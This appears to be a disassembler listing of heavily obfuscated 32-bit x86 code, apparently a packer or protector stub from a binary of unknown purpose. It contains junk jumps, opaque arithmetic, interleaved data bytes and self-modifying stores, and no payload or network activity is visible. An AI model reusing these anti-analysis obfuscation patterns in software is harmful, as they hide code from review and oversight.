; FUNCTION CHUNK AT 0043000C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00430121 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043042F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043045A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00430669 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00430A70 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00430EE6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00430F5C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00430FDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004318F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431EA6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00432243 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00432376 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043243C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004325E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00432766 SIZE 0000000F BYTES

		xchg	eax, [esp-8+arg_4]
		pop	eax
		add	ebx, ebp
		add	ebx, 69DEF140h
		mov	ebx, [ebx]
		jmp	loc_42F6B2
; ---------------------------------------------------------------------------
		align 2
		mov	[ebp+0], edx
		jmp	loc_42F2F0
; ---------------------------------------------------------------------------
		dw 0D381h
		dd 0AAB8E258h, 0FFFF86E9h, 3107C6FFh, 0FE12E85Fh, 0FFFFh
; ---------------------------------------------------------------------------


loc_42F4E0:				; CODE XREF: sub_431452-154j
		jmp	loc_42F1F8
; ---------------------------------------------------------------------------
		align 2
		cmp	edx, ebp
		jmp	loc_430669
; ---------------------------------------------------------------------------
		align 2
		test	eax, 0C8450A3h
		jmp	loc_431EA6
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Bh
		dd 0BF10E381h, 0C3F71BB1h, 2000h, 0FFFC1FE9h, 0C60000FFh
		dd 6851C300h, 6090FF8h,	0C6C98159h, 0E9CD8639h,	3047h
		db 0
; ---------------------------------------------------------------------------

locret_42F525:				; CODE XREF: sub_42F4AE:loc_4318F9j
		retn
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_432766
; ---------------------------------------------------------------------------
		db 2 dup(0), 57h	; CODE XREF: fzj3qwht:004311A1j
					; fzj3qwht:loc_431ABEj
		dd 431F65BFh, 0F9A2E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_42F53B:				; CODE XREF: fzj3qwht:loc_432430j
		retn
; ---------------------------------------------------------------------------


loc_42F53C:				; CODE XREF: fzj3qwht:00432964j
		jmp	loc_42FE7E
; ---------------------------------------------------------------------------
		jmp	loc_43042F
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0FFFFFA4Bh, 0D5130000h, 2042E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42F556:				; CODE XREF: fzj3qwht:00430C0Cj
		add	eax, ebx
		call	sub_43098E
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF9B1h, 24B800Fh, 0DA1B0000h, 2815E9h
		db 0
; ---------------------------------------------------------------------------

locret_42F571:				; CODE XREF: fzj3qwht:loc_4322E3j
		retn
; ---------------------------------------------------------------------------
		align 4
		jmp	nullsub_147
; ---------------------------------------------------------------------------
		db 0Fh,	8Eh, 0B6h
		dd 0E900001Dh, 0FFFFF444h
; ---------------------------------------------------------------------------

locret_42F584:				; CODE XREF: fzj3qwht:loc_4311DCj
		retn
; ---------------------------------------------------------------------------
		jmp	nullsub_148
; ---------------------------------------------------------------------------
		xchg	edx, eax
		jnp	loc_42F2D4
		jmp	sub_4309EE
; ---------------------------------------------------------------------------
		align 4
		jnb	loc_43141A
		jmp	loc_430F5C
; ---------------------------------------------------------------------------
		xchg	ebp, [esp-0Ch+arg_8]
		mov	ebx, offset loc_42FDEC
		jmp	loc_430A70
; ---------------------------------------------------------------------------

locret_42F5B0:				; CODE XREF: sub_4316FE:loc_43249Cj
		retn
; ---------------------------------------------------------------------------
		align 2


loc_42F5B2:				; CODE XREF: fzj3qwht:0042EE36j
		mov	byte ptr [eax],	9Ch
		pop	eax
		xor	eax, 0CAC7E5B1h
		add	eax, 4FB77B60h
		add	eax, ebp
		push	offset sub_4301B7
		jmp	loc_430FDF
; ---------------------------------------------------------------------------
		dw 8100h		; CODE XREF: sub_43239B+Aj
		dd 913564EAh, 13C2C15Dh, 5E47EA81h, 0F2811637h,	0E6B0A611h
		dd 0C281D503h, 1FF958DCh, 2212E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42F5F2:				; CODE XREF: fzj3qwht:loc_42F3DBj
		mov	byte ptr [edi],	87h
		pop	edi
		mov	ecx, ebx
		xchg	edx, [esp-10h+arg_C]
		mov	ebx, edx
		jmp	loc_432243
; ---------------------------------------------------------------------------
		align 4
		dd 28E9D133h, 0FFFFF4h,	0BF118900h, 0B564A4B2h,	2E01E9h
		dd 242C8700h, 0F8126856h, 535E6E5Dh, 431B2EBBh,	0FF19E900h
		dd 0FFFFh, 1487EA87h, 51685A24h, 5A9C028Ch, 0E917C2C1h
		dd 1353h, 0C2810000h, 84566374h, 1487128Bh, 174C6824h
		dd 90E90043h, 0FFFFF5h,	3A8C0F00h, 13000004h, 0C1CD1BE8h
		dd 0DEE91EC9h, 1Dh
		db 0
; ---------------------------------------------------------------------------


loc_42F671:				; CODE XREF: sub_430C8C:loc_42F2A8j
		push	ecx
		mov	ecx, esi
		xchg	ecx, [esp-0Ch+arg_8]
		jmp	loc_430EE6
; ---------------------------------------------------------------------------
		dd 0BDE95D00h, 1Bh, 430E5F68h, 2D3FE900h, 4AB80000h, 0E9FFF4D5h
		dd 14B4h, 8C0F0000h, 8E1h, 0A8E90000h, 3FFFFFBh, 0E93087F0h
		dd 8D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42F6B2:				; CODE XREF: sub_42F4AE+Ej
		popf
		push	offset loc_430D85
		jmp	loc_4318F9
sub_42F4AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h	; CODE XREF: fzj3qwht:004302EAj
		dd 5BE90000h, 2Dh, 8702C600h, 0F7C2815Ah, 870AC332h, 0FAE92414h
					; CODE XREF: fzj3qwht:loc_431F03j
		dd 0Bh,	0AE0C100h, 0FFF394E9h, 0E9C300FFh, 29FFh, 0E90B8900h
		dd 2FC0h, 0D209108Bh, 261C840Fh, 0E9520000h, 2F02h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43041D


loc_42F706:				; CODE XREF: sub_43041D:loc_42F88Aj
		add	edx, ebx
		pop	ebx
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_42F32C
		jmp	sub_430B68
; END OF FUNCTION CHUNK	FOR sub_43041D
; ---------------------------------------------------------------------------
		jmp	loc_42F32C
; ---------------------------------------------------------------------------
		align 10h
		dd 240C8700h, 24148759h, 0FFF108E9h, 8B5500FFh,	27C6E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA52


loc_42F736:				; CODE XREF: sub_42FA52+7j
		jge	loc_43191A


loc_42F73C:				; CODE XREF: sub_42F263+10j
		jmp	loc_4317D6
; END OF FUNCTION CHUNK	FOR sub_42FA52
; ---------------------------------------------------------------------------
		align 2
		dw 0F0E9h
		dd 0FFFFFAh, 0AFF68199h, 0E907A695h, 21C6h, 0C30000h, 0A1C08100h
		dd 3D14EE7h, 0BFBE56C5h, 0E90042FAh, 669h, 59240C87h, 4326F968h
		dd 2D18E900h, 0
		db 0C6h	; Æ
		db    3
		db    1
		db  87h	; ‡
		db  2Ch	; ,
		db  24h	; $
		db  8Bh	; ‹
		db 0DDh	; Ý
		db  5Dh	; ]
		db 0ACh	; ¬
		db 0FDh	; ý
		db 0C2h	; Â
		db 0E9h	; é
		db 0B8h	; ¸
		dw 0FFF3h
		dd 0A85000FFh, 363A5868h, 0C0C158D1h, 0B0C0810Bh, 0E84E7061h
		dd 2BAAh, 66E90000h, 0E9000006h, 0FFFFF589h, 0C30000h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4312D7


loc_42F7B5:				; CODE XREF: sub_4312D7+Ej
		jmp	loc_4302A9
; END OF FUNCTION CHUNK	FOR sub_4312D7
; ---------------------------------------------------------------------------
		jmp	loc_430D55
; ---------------------------------------------------------------------------
		jz	loc_431232
		jmp	sub_42FC3B
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_430E27


loc_42F7CC:				; CODE XREF: sub_430E27:loc_42FD05j
		mov	byte ptr [edi],	9Ch
		pop	edi
		mov	[esi], eax
		pop	esi


loc_42F7D3:				; DATA XREF: sub_430E27+4o
		mov	esp, 0EDB12368h
		mov	esp, 4AC88158h
		db	64h
		mov	ch, 0B9h
		jmp	loc_431FD9
; END OF FUNCTION CHUNK	FOR sub_430E27
; ---------------------------------------------------------------------------
		align 2


loc_42F7E6:				; CODE XREF: fzj3qwht:0042EA20j
		xchg	eax, [esp]
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		jmp	loc_431475
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_42F7F7:				; CODE XREF: fzj3qwht:0042E917j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_43132E
; ---------------------------------------------------------------------------


loc_42F7FD:				; DATA XREF: fzj3qwht:0042E912o
		push	offset byte_4319A1
		jmp	loc_42EA3F
; ---------------------------------------------------------------------------
		align 4
		dd 81D60300h, 68454AC1h, 98B9D23h, 0F2F4F8BAh, 0FCC031F1h
		dd 0FFFEA1E9h, 41C381FFh, 687A32CFh, 431491h, 2518E9h
		dd 8DC38100h, 0E97C73ADh, 26Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42F83E:				; DATA XREF: sub_430F2A:loc_43246Co
		mov	byte ptr [eax],	2Ch
		pop	eax
		add	eax, 1076046Fh
		mov	eax, [eax]
		popf
		mov	al, [eax]


loc_42F84D:				; DATA XREF: sub_430F2A+5o
		mov	ch, 99h
		jmp	loc_42F9FA
; ---------------------------------------------------------------------------
		dd 0D3C28100h, 0E9D774F6h, 1540h, 0F1880F00h, 28h, 752E9h
		dd 0EBC10000h, 28DEE91Ah, 0F000000h, 6568Ah, 0D31E900h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_42F883:				; CODE XREF: fzj3qwht:00432855j
		jl	loc_4306CE
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43041D


loc_42F88A:				; CODE XREF: sub_43041D+E9j
		jmp	loc_42F706
; END OF FUNCTION CHUNK	FOR sub_43041D
; ---------------------------------------------------------------------------
		align 10h
		add	ecx, ebp
		jmp	loc_4306C7
; ---------------------------------------------------------------------------
		db 68h
		dd offset loc_430B9B
		dd 0FFF283E9h, 0F0000FFh, 18F83h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42F8A9	proc near		; CODE XREF: sub_42EFCF+1504p

; FUNCTION CHUNK AT 00432782 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	esi
		jmp	loc_432782
sub_42F8A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4


loc_42F8B4:				; CODE XREF: fzj3qwht:004312D0j
		mov	byte ptr [esi],	9Dh
		pop	esi
		pop	edx
		rol	edx, 17h
		or	edx, 0E57584B0h
		call	sub_430C13
; ---------------------------------------------------------------------------
		db 0
		db    0
		db 0C6h	; Æ
		db    1
		db    3
		db  59h	; Y
		db 0E8h	; è
		db  71h	; q
		db  14h
		db    0
		db    0
		db    0
		db    0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0E9h
		dd 2A98h, 58240487h, 4F6E85Fh ;	CODE XREF: fzj3qwht:loc_4322FEj
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_42F8E7:				; CODE XREF: fzj3qwht:loc_430A55j
		and	eax, 470262A5h
		sub	eax, 0A33EDB30h
		rol	eax, 0Eh
		call	sub_431E69
		add	cl, ch		; CODE XREF: sub_431E7D+7j
		cdq
		and	eax, 3AE90000h
		sub	[eax], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		sub	ebx, eax
		xchg	ebp, esi
		jmp	loc_43103F
; ---------------------------------------------------------------------------
		align 2


loc_42F912:				; CODE XREF: fzj3qwht:0042EB2Cj
		call	sub_43060A
		add	cl, ch
		sahf
		add	cs:[eax], al
		call	near ptr dword_42E9A4+24h
; START	OF FUNCTION CHUNK FOR sub_43041D


loc_42F922:				; CODE XREF: sub_43041D+Bj
		jmp	loc_4304E8
; END OF FUNCTION CHUNK	FOR sub_43041D
; ---------------------------------------------------------------------------
		jmp	loc_4321D4
; ---------------------------------------------------------------------------
		dd 0E9030000h, 371E9h, 992C0000h, 0FFA73768h, 0EA815A86h
		dd 664A2151h, 9397CA81h, 0D8E910DFh, 0FFFFFFh, 82E9D60Bh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430E46


loc_42F957:				; CODE XREF: sub_430E46+7j
					; DATA XREF: fzj3qwht:004312CBo
		aas
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		call	sub_4328BA
		add	cl, ch
		adc	al, 12h
; END OF FUNCTION CHUNK	FOR sub_430E46
; ---------------------------------------------------------------------------
		dw 0
		db 0
; ---------------------------------------------------------------------------


loc_42F969:				; CODE XREF: fzj3qwht:0043094Dj
		jmp	loc_42F9D9
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFC1E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4316FE


loc_42F975:				; CODE XREF: sub_4316FE:loc_42ED04j
		mov	ebp, esp
		push	offset sub_42FF6B
		jmp	loc_43249C
; END OF FUNCTION CHUNK	FOR sub_4316FE
; ---------------------------------------------------------------------------

locret_42F981:				; CODE XREF: fzj3qwht:loc_4318C2j
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42F984:				; CODE XREF: fzj3qwht:00432176j
		jmp	loc_431270
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 2922h, 8BDE9h, 87000000h, 875F243Ch
; ---------------------------------------------------------------------------
		sbb	al, 24h


loc_42F99E:				; CODE XREF: fzj3qwht:0042F421j
		jmp	loc_431113
; ---------------------------------------------------------------------------
		align 4
		dd 0E9B56800h, 2CA6E4C0h, 2AE95524h, 0FFFFFDh, 4421EF81h
		dd 2FE94242h, 11h, 0F320800Fh, 82E9FFFFh, 1Ah, 2EE85300h
		dd 10h,	1BD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_42F9D9:				; CODE XREF: fzj3qwht:loc_42F969j
		push	offset loc_42FDB1
		jmp	near ptr dword_42E794+6Fh
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42F188


loc_42F9E4:				; CODE XREF: sub_42F188:loc_43197Dj
		jl	loc_431C6F
		not	ebx
		jmp	loc_431C6E
; END OF FUNCTION CHUNK	FOR sub_42F188
; ---------------------------------------------------------------------------
		align 2

locret_42F9F2:				; CODE XREF: fzj3qwht:0042E78Dj
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 1D8EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42F9FA:				; CODE XREF: fzj3qwht:0042F84Fj
		jmp	loc_4313CB
; ---------------------------------------------------------------------------
		jmp	loc_430043
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42FA05:				; DATA XREF: fzj3qwht:0042E788o
		jmp	loc_4313EB
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_42FA0B:				; CODE XREF: fzj3qwht:0042E782j
		retn
; ---------------------------------------------------------------------------
		dd 8B520000h, 0FDA4E9D5h, 0F00FFFFh, 16189h, 0B68AC00h
		dd 0E9004326h, 0D36h, 3C2C100h,	431B6E68h, 0FB3EE900h
		dd 0FFFFh, 810CC3C1h, 773950F3h, 0B5CB8160h, 6802CC75h
		dd 42F831h, 1DB1E9h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42FA52	proc near		; CODE XREF: fzj3qwht:004318D2p

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0042F736 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FE43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004303A4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004317D6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043191A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00431F49 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004320C3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043273D SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		cmp	ebx, edi
		pop	edi
		jmp	loc_42F736
sub_42FA52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ebx, [esp]
		push	edx
		mov	edx, offset loc_4322CD
		jmp	loc_43025A
; ---------------------------------------------------------------------------
		db 0
byte_42FA6D	db 87h,	14h, 24h	; DATA XREF: fzj3qwht:loc_42FEECo
		db 8Bh,	0DAh, 5Ah
byte_42FA73	db 3Ah			; DATA XREF: fzj3qwht:0042F15Co
		dd 0F08B2404h, 8B242C87h, 0F148E9C5h, 8100FFFFh, 0BDE2B5C9h
					; CODE XREF: fzj3qwht:00432367j
		dd 0BC18190h
		db 14h,	2, 26h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301B7


loc_42FA8F:				; CODE XREF: sub_4301B7-14A2j
		push	offset loc_43018A
		jmp	locret_4314FA
; END OF FUNCTION CHUNK	FOR sub_4301B7
; ---------------------------------------------------------------------------


loc_42FA99:				; CODE XREF: fzj3qwht:00431B68j
		mov	byte ptr [ecx],	3
		pop	ecx
		push	42EC12h
		jmp	loc_4318C2
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 3C6h
		dd 243C8788h, 0E85FDF8Bh, 0FFFFF125h
; ---------------------------------------------------------------------------


loc_42FAB8:				; CODE XREF: fzj3qwht:0042EFE8j
		jmp	loc_42F2D4
; ---------------------------------------------------------------------------
		db 2 dup(0), 2Fh	; CODE XREF: fzj3qwht:loc_431720j
		dd 6800FF9h, 0E8FFFFFFh, 2C1Eh
; ---------------------------------------------------------------------------

locret_42FACC:				; CODE XREF: fzj3qwht:00431896j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42FACF:				; CODE XREF: fzj3qwht:loc_43128Ej
		jmp	loc_4318C9
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB56


loc_42FAD6:				; CODE XREF: sub_42EB56:loc_4324E3j
		and	esi, 4716E5DCh
		add	esi, 0A5E7B023h
		jnb	near ptr loc_43261D+5
; END OF FUNCTION CHUNK	FOR sub_42EB56
; ---------------------------------------------------------------------------
		dd 0EA330000h, 22A8E9h,	87000000h, 815E2434h, 1384F2C0h
		dd 0E9008B62h, 26A6h
		db 0
; ---------------------------------------------------------------------------


loc_42FB05:				; CODE XREF: fzj3qwht:0042ED6Ej
		jl	near ptr dword_42E794+8
		add	[ebx], bh
		jmp	near ptr 2F7BFBh
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		add	bl, al
		xchg	edx, [ebx]
		jmp	sub_430C13
; ---------------------------------------------------------------------------
		align 2

locret_42FB1E:				; CODE XREF: fzj3qwht:00430847j
		retn
; ---------------------------------------------------------------------------
		align 10h
		db 0, 0FFh, 0D0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_42FB23:				; CODE XREF: sub_431686-2A3Dj
					; fzj3qwht:loc_4316B5j
		push	(offset	loc_431AE0+1)
		jmp	loc_431A12
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430F48


loc_42FB2D:				; CODE XREF: sub_430F48:loc_43167Bj
		mov	edi, eax
		xchg	edi, [esp+0]
		call	near ptr dword_42E8AC+15h
		imul	eax, [eax], 0F68FE900h
; END OF FUNCTION CHUNK	FOR sub_430F48
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0E8h
; ---------------------------------------------------------------------------
		retf	0FFFEh
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0EA5E8h, 0F000000h, 0FFFCD08Dh, 0D61B00FFh, 9E3C158h
		dd 0DB81F503h, 63B5A574h, 0FFFCBCE9h, 870000FFh, 0FF5F243Ch
		dd 42A0C015h, 147BE900h, 0
; ---------------------------------------------------------------------------
		jmp	loc_431E94
; ---------------------------------------------------------------------------
		align 2
		push	eax
		mov	eax, offset loc_43122D
		jmp	loc_432467
; ---------------------------------------------------------------------------
		align 2
		push	0BAB1DE92h
		jmp	loc_430307
; ---------------------------------------------------------------------------
		dd 0E7810000h, 7645C2F7h, 0EC14D981h, 0DEE965F6h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_42FBA7:				; CODE XREF: sub_42F4AE+2A00j
		cdq
		xor	ebx, edi
		jmp	loc_42FDFB
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------


loc_42FBAF:				; DATA XREF: sub_42FA52+1D8Ao
		add	esi, ebp
		push	ecx
		mov	ecx, offset byte_431907
		jmp	loc_42ED96
; ---------------------------------------------------------------------------
		dd 14870000h, 5A595224h, 8B241C87h, 27EE9EBh, 0
dword_42FBD0	dd 21E8595Eh, 8BFFFFEAh, 0C38B5010h, 68240487h,	55798B1h
					; DATA XREF: fzj3qwht:0042ED39o
		dd 0FFF912E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_42FBEB:				; CODE XREF: sub_42F4AE+95Dj
		xor	edx, 2F565DD7h
		xchg	edx, [esp-0Ch+arg_8]
		lea	eax, [ebp-81h]
		push	ebx
		push	eax
		pop	ebx
		adc	al, 1Ch
		and	al, 0E9h
		xchg	dh, dh
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 990000FFh, 0C257C581h, 0C2E93627h, 0FFFFF0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301B7


loc_42FC14:				; CODE XREF: sub_4301B7-1496j
		add	ecx, 50B0E746h
		popf
		cdq
		call	sub_42ED87
; END OF FUNCTION CHUNK	FOR sub_4301B7
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 14870000h, 4875A24h,	0C88B5124h, 9C240C87h, 15D5E9h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42FC3B	proc near		; CODE XREF: fzj3qwht:0042F7C5j
					; fzj3qwht:0043229Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 004307B9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00430878 SIZE 00000009 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, nullsub_134
		mov	byte ptr [eax],	0C3h
		call	near ptr loc_4304D8+1
		rol	edx, 15h
		jmp	loc_4307B9
sub_42FC3B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2


loc_42FC56:				; CODE XREF: fzj3qwht:00431993j
		mov	byte ptr [edx],	57h
		pop	edx
		pop	esi
		push	esi
		mov	esi, ebp
		xchg	esi, [esp]
		pop	ebx
		in	al, dx
		push	eax
		jmp	loc_4302C3
; ---------------------------------------------------------------------------
		align 2
		xchg	ebp, [esp]
		push	3438DB61h
		xchg	ebp, [esp]
		mov	esi, ebp
		pop	ebp
		add	esi, 0C225606h
		jmp	loc_431F0A
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301AC


loc_42FC85:				; CODE XREF: sub_4301AC+1BD3j
		jl	loc_431CC5
; END OF FUNCTION CHUNK	FOR sub_4301AC
; ---------------------------------------------------------------------------
		db 0
		dd 1C860F00h, 0E9000024h, 2028h, 0B78D0F00h, 0E9FFFFEFh
		dd 0FFFFF6D5h, 3C870000h, 45C65F24h, 45FF2DE0h,	1B6FE8F0h
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_42FCB8:				; CODE XREF: sub_42F4AE:loc_432243j
		pop	edx
		fistp	[esp-0Ch+arg_8]
		push	ebx
		pop	ebp
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432090


loc_42FCC1:				; CODE XREF: sub_432090+Bj
		jmp	loc_42FDEC
; END OF FUNCTION CHUNK	FOR sub_432090
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_42FCC8	proc near		; CODE XREF: sub_4309EE+4p
					; fzj3qwht:loc_431113j
		push	131AFD00h
		jmp	near ptr dword_42EDF4+21h
sub_42FCC8	endp

; ---------------------------------------------------------------------------
		dw 9900h
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		pop	edi
		jmp	loc_4322FE
; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		push	eax
		jmp	loc_431C47
; ---------------------------------------------------------------------------
		dw 300h
		db 0DDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431452


loc_42FCE9:				; CODE XREF: sub_431452-1114j
		add	ebx, 3195D621h
		db	64h
		add	ebp, eax
		mov	esi, ebp
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		dd 0FFFFh, 42F00268h, 0F9A0E900h
		db 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430E27


loc_42FD05:				; CODE XREF: sub_430E27+9j
		jmp	loc_42F7CC
; END OF FUNCTION CHUNK	FOR sub_430E27
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 64Bh, 879D3F8Bh, 9C51243Ch, 0A274868h, 96E9594Ch, 87000002h
		dd 0C65B241Ch, 34879D02h, 5ED68B24h, 9302E881h,	0C0C1DE75h
		dd 0ADBE919h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF6B


loc_42FD40:				; CODE XREF: sub_42FF6B:loc_431630j
		mov	esi, offset loc_42FE11
		jmp	loc_42EFB2
; END OF FUNCTION CHUNK	FOR sub_42FF6B
; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	87h
		pop	eax
		pop	edx
		or	edx, 3E95D7B0h
		sub	edx, 6407E5BDh
		add	edx, 0EF58EF1h
		jmp	loc_430758
; ---------------------------------------------------------------------------
		align 4
		dd 870F03C6h, 0DE8B2434h, 0FB8BE95Eh, 5F00FFFFh, 811AC7C1h
		dd 73D044E7h, 9B46848h,	80E90043h, 2, 0E9FE8500h, 0FFFFEDD7h
; ---------------------------------------------------------------------------


loc_42FD94:				; DATA XREF: fzj3qwht:004311ABo
		push	5F2BA5EBh
		xchg	ebp, [esp]
		mov	edi, ebp
		pop	ebp
		sub	edi, 2CAFB784h
		or	edi, 896749B1h
		jmp	loc_4321A3
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42FDB1:				; DATA XREF: fzj3qwht:loc_42F9D9o
		add	ecx, ebp
		add	ecx, 12FE9F75h
		mov	[ecx], eax
		xchg	edi, [esp]
		mov	ecx, edi
		pop	edi
		jmp	loc_43038B
; ---------------------------------------------------------------------------
		align 4

locret_42FDC8:				; CODE XREF: fzj3qwht:00432314j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 60Bh, 0D33E9h, 0CA6E900h, 0
		dd 5E243487h, 8AFC458Bh, 0FB86E900h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432090


loc_42FDEC:				; CODE XREF: sub_432090:loc_42FCC1j
					; DATA XREF: sub_42F4AE+F8o
		jbe	short loc_42FDF2
		and	al, 8Bh
		in	al, dx
		push	edi


loc_42FDF2:				; CODE XREF: sub_432090:loc_42FDECj
		mov	edi, ecx
		call	near ptr dword_42F43C+1Fh
; END OF FUNCTION CHUNK	FOR sub_432090
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_42FDFB:				; CODE XREF: sub_42F4AE+6FCj
		xchg	edx, [esp-0Ch+arg_8]
		pop	edx


loc_42FDFF:				; CODE XREF: sub_42F4AE:loc_431EA6j
		push	75B3917Ch
		pop	edx
		sub	edx, 465D33A5h
		jmp	loc_42FBEB
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42FE11:				; DATA XREF: sub_42FF6B:loc_42FD40o
		sub	[ebp-1459h], al
		push	offset loc_431446
		jmp	loc_430C36
